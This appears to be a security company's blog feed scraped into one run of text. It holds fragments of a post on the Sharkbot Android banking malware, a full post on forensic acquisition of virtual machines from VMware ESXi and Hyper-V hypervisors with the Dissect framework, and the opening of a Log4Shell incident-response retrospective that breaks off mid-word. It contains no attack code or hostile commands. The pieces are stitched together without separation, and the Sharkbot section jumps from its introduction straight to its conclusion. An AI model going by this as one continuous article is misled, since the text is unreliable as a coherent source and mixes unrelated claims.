Since we published our first blog post about Sharkbot in March 2022, in which we detected the SharkbotDropper campaigns within Google Play Store, the developers have been working hard to improve their malware and the dropper. In May, ThreatFabric found a new version of Sharkbot, the version 2.0 of Sharkbot that was a refactor of the source code, included some changes in the communication protocol and in the DGA.
Until now, Sharkbot’s developers seem to have been focusing on the dropper in order to keep using Google Play Store to distribute their malware in the latest campaigns. These latest campaigns still use fake antivirus and Android cleaners to install the dropper from the Google Play.
With all these the changes and new features, we are expecting to see more campaigns, targeted applications, targeted countries and changes in Sharkbot this year.
Data acquisition during incident response engagements is always a big exercise, both for us and our clients. It’s rarely smooth sailing, and we usually encounter a hiccup or two. Fox-IT’s approach to enterprise scale incident response for the past few years has been to collect small forensic artefact packages using our internal data collection utility, “acquire”, usually deployed using the clients’ preferred method of software deployment. While this method works fine in most cases, we often encounter scenarios where deploying our software is tricky or downright impossible. For example, the client may not have appropriate software deployment methods or has fallen victim to ransomware, leaving the infrastructure in a state where mass software deployment has become impossible.
Many businesses have moved to the cloud, but most of our clients still have an on-premises infrastructure, usually in the form of virtual environments. The entire on-premises infrastructure might be running on a handful of physical machines, yet still restricted by the software deployment methods available within the virtual network. It feels like that should be easier, right? The entire infrastructure is running on one or two physical machines, can’t we just collect data straight from there?
Turns out we can.
Setting the stage
Most of our clients who run virtualized environments use either VMware ESXi or Microsoft Hyper-V, with a slight bias towards ESXi. Hyper-V was considered the “easy” one between these two, so let’s first focus our attention towards ESXi.
VMware ESXi is one of the more popular virtualization platforms. Without going into too much premature detail on how everything works, it’s important to know that there are two primary components that make up an ESXi configuration: the hypervisor that runs virtual machines, and the datastore that stores all the files for virtual machines, like virtual disks. These datastores can be local storage or, more commonly, some form of network attached storage. ESXi datastores use VMware’s proprietary VMFS filesystem.
There are several challenges that we need to overcome to make this possible. What those challenges are depends on which concessions we’re willing to make with regards to ease of use and flexibility. I’m not one to back down from a challenge and not one to take unnecessary shortcuts that may come back to haunt me. Am I making this unnecessarily hard for myself? Perhaps. Will it pay off? Definitely.
The end goal is obvious, we want to be able to perform data acquisition on ideally live running virtual machines. Our internal data collection utility, “Acquire”, will play a key part in this. Acquire itself isn’t anything special, really. It builds on top of the Dissect framework, which is where all its power and flexibility comes from. Acquire itself is really nothing more than a small script that utilizes Dissect to read some files from a target and write it to someplace else. Ideally, we can utilize all this same tooling at the end of this.
The first attempts
So why not just run Acquire on the virtual machine files from an ESXi shell? Unfortunately, ESXi locks access to all virtual machine files while that virtual machine is running. You’d have to create full clones of every virtual machine you’d want to acquire, which takes up a lot of time and resources. This may be fine in small environments but becomes troublesome in environments with thousands of virtual machines or limited storage. We need some sort of offline access to these files.
We’ve already successfully done this in the past. However, those times took considerably more effort, time and resources and had their own set of issues. We would take a separate physical machine or virtual machine that was directly connected to the SAN where the ESXi datastores are located. We’d then use the open-source vmfs-tools or vmfs6-tools to gain access to the files on these datastores. Using this method, we’re bypassing any file locks that ESXi or VMFS may impose on us, and we can run acquire on the virtual disks without any issues.
Well, almost without any issues. Unfortunately, vmfs-tools and vmfs6-tools aren’t exactly proper VMFS implementations and routinely cause errors or data corruption. Any incident responder using vmfs-tools and vmfs6-tools will run into those issues sooner or later and will have to find a way to deal with them in the context of their investigation. This method also requires a lot of manual effort, resources and coordination. Far from an ideal “fire and forget” data collection solution.
Next steps
We know that acquiring data directly from the datastore is possible, it’s just that our methods of accessing these datastores is very cumbersome. Can’t we somehow do all of this directly from an ESXi shell?
When using local or iSCSI network storage, ESXi also exposes the block devices of those datastores. While ESXi may put a lock on the files on a datastore, we can still read the on-device filesystem data just fine through these block devices. You can also run arbitrary executables on ESXi through its shell (except when using the execInstalledOnly configuration, or can you…? ), so this opens some possibilities to run acquisition software directly from the hypervisor.
Remember I said I liked a challenge? So far, everything has been relatively straightforward. We can just incorporate vmfs-tools into acquire and call it a day. Acquire and Dissect are pure Python, though, and incorporating some C library could overcomplicate things. We also mentioned the data corruption in vmfs-tools, which is something we ideally avoid. So what’s the next logical step? If you guessed “do it yourself” you are correct!
You got something to prove?
While vmfs-tools works for the most part, it lacks a lot of “correctness” with regards to the implementation. Much respect to anyone who has worked on these tools over the years, but it leaves a lot on the table as far as a reference implementation goes. For our purposes we have some higher requirements on the correctness of a filesystem implementation, so it’s worth spending some time working on one ourselves.
As part of an upcoming engagement, there just so happened to be some time available to work on this project. I open my trusty IDA Pro and get to work reverse engineering VMFS. I use vmfs-tools as a reference to get an idea of the structure of the filesystem, while reverse engineering everything else completely from scratch.
Simultaneously I work on reconstructing an ESXi system from its “offline” state. With Dissect, our preferred approach is to always work from the cleanest slate possible, even when dealing with a live system . For ESXi, this means that we don’t utilize anything from the “live” system, but instead will reconstruct this “live” state within Dissect ourselves from however ESXi stores its files when it’s turned off. This can cause an initial higher effort but pays of in the end because we can then interface with ESXi in any possible way with the same codebase: live by reading the block devices, or offline from reading a disk image.
This also brought its own set of implementation and reverse engineering challenges, which include:
Writing a FAT16 implementation, which ESXi uses for its bootbank filesystem.
Writing a vmtar implementation, a slightly customized tar file that is used for storing OS files (akin to VIBs).
Writing an Envelope implementation, a file encryption format that is used to encrypt system configuration on supported systems.
Figuring out how ESXi mounts and symlinks its “live” filesystem together.
Writing parsers for the various configuration file formats within ESXi.
After two weeks it’s time for the first trial run for this engagement. There are some initial missed edge cases, but a few quick iterations later and we’ve just performed our first live evidence acquisition through the hypervisor!
A short excursion to Hyper-V
Now that we’ve achieved our goal on ESXi, let’s take a quick look to see what we need to do to achieve the same on Hyper-V. I mentioned earlier that Hyper-V was the easy one, and it really was. Hyper-V is just an extension of Windows, and we already know how to deal with Windows in Dissect and Acquire. We only need to figure out how to get and interpret information about virtual machines and we’re off to the races.
Hyper-V uses VHD or VHDX as its virtual disks. We already support that in Dissect, so nothing to do there. We need some metadata on where these virtual disks are located, as well as which virtual disks belong to a virtual machine. This is important, because we want a complete picture of a system for data acquisition. Not only to collect all filesystem artefacts (e.g. MFT or UsnJrnl of all filesystems), but also because important artefacts, like the Windows event logs, may be configured to store data on a different filesystem. We also want to know where to find all the registered virtual machines, so that no manual steps are required to run Acquire on all of them.
A little bit of research shows that information about virtual machines was historically stored in XML files, but any recent version of Hyper-V uses VMCX files, a proprietary file format. Never easy! For comparison, VMware stores this virtual machine metadata in a plaintext VMX file. Information about which virtual machines are present is stored in another VMCX file, located at C:\ProgramData\Microsoft\Windows\Hyper-V\data.vmcx. Before we’re able to progress, we must parse these VMCX files.
Nothing our trusty IDA Pro can’t solve! A few hours later we have a fully featured parser and can easily extract the necessary information out of these VMCX files. Just add a few lines of code in Dissect to interpret this information and we have fully automated virtual machine acquisition capabilities for Hyper-V!
Conclusion
The end result of all this work is that we can add a new capability to our Dissect toolbelt: hypervisor data acquisition. As a bonus, we can now also easily perform investigations on hypervisor systems with the same toolset!
There are of course some limitations to these methods, most of which are related to how the storage is configured. At the time of writing, our approach only works on local or iSCSI-based storage. Usage of vSAN or NFS are currently unsupported. Thankfully most of our clients use these supported methods, and research into improvements obviously never stops.
We initially mentioned scale and ease of deployment as a primary motivator, but other important factors are stealth and preservation of evidence. These seem to be often overlooked by recent trends in DFIR, but they’re still very important factors for us at Fox-IT. Especially when dealing with advanced threat actors, you want to be as stealthy as possible. Assuming your hypervisor isn’t compromised (), it doesn’t get much stealthier than performing data acquisition from the virtualization layer, while still maintaining some sense of scalability. This also achieves the ultimate preservation of evidence. Any new file you introduce or piece of software you execute contaminates your evidence, while also risking rollovers of evidence.
The last takeaway we want to mention is just how relatively easy all of this was. Sure, there was a lot of reverse engineering and writing filesystem implementations, but those are auxiliary tasks that you would have to perform regardless of the end goal. The important detail is that we only had to add a few lines of code to Dissect to have it all just… work. The immense flexibility of Dissect allows us to easily add “complex” capabilities like these with ease. All our analysts can continue to use the same tools they’re already used to, and we can employ all our existing analysis capabilities on these new platforms.
In the time between when this blog was written and published, Mandiant released excellent blog posts[1][2] about malware targeting VMware ESXi, highlighting the importance of hypervisor forensics and incident response. We will also dive deeper into this topic with future blog posts.
One year ago, Fox-IT and NCC Group released their blogpost detailing findings on detecting & responding to exploitation of CVE-2021-44228, better known as ‘Log4Shell’. Log4Shell was a textbook example of a code red scenario: exploitation was trivial, the software was widely used in all sorts of applications accessible from the internet, patches were not yet available and successful exploitation would result in remote code execution. To make matters worse, advisories heavily differed in the early hours of the incident, resulting in conflicting information about which products were affected.
Due to the high-profile nature of Log4Shell, the vulnerability quickly drew the attention of both attackers and defenders. This wasn’t the first time such a ‘perfect storm’ has taken place, and it will definitely not be the last one. This 1-year anniversary seems like an appropriate time to look back and reflect on what we did right and what we could do better next time.
Reflection firstly requires us to critically look at ourselves. Thus, in the first part of this blog we will look back at how our own Security Operations Center (SOC) tackled the problem in the initial days of the ‘code red’. What challenges did we face, what solutions worked, and what lessons will we apply for the next code red scenario?
The second part of this blog discusses the remainder of the year. Our CIRT has since been contacted by several organizations that were exploited using Log4Shell. Such cases ranged from mere coinminers to domain-wide ransomware, but there were several denominators between those cases that provide insight in how even a high-profile vulnerability such as Log4Shell can go by unnoticed and result in a compromise further down the line.
SOC perspective: From quick wins to long term solutions
Within our SOC we are tasked with detecting attacks and informing monitored customers with actionable information in a timely manner. We do not want to call them for generic internet noise, and they expect us to only call when a response on their end is necessary. We have a role that is restricted to monitoring: we do not segment, we do not block, and we do not patch. During the Log4Shell incident, our primary objective was to keep our customers secure by identifying compromised systems quickly and effectively.
The table below summarizes the most important actions we undertook in response to the emergency of the Log4Shell vulnerability. We will reflect further on these events to discuss why we took certain decisions, as well as conside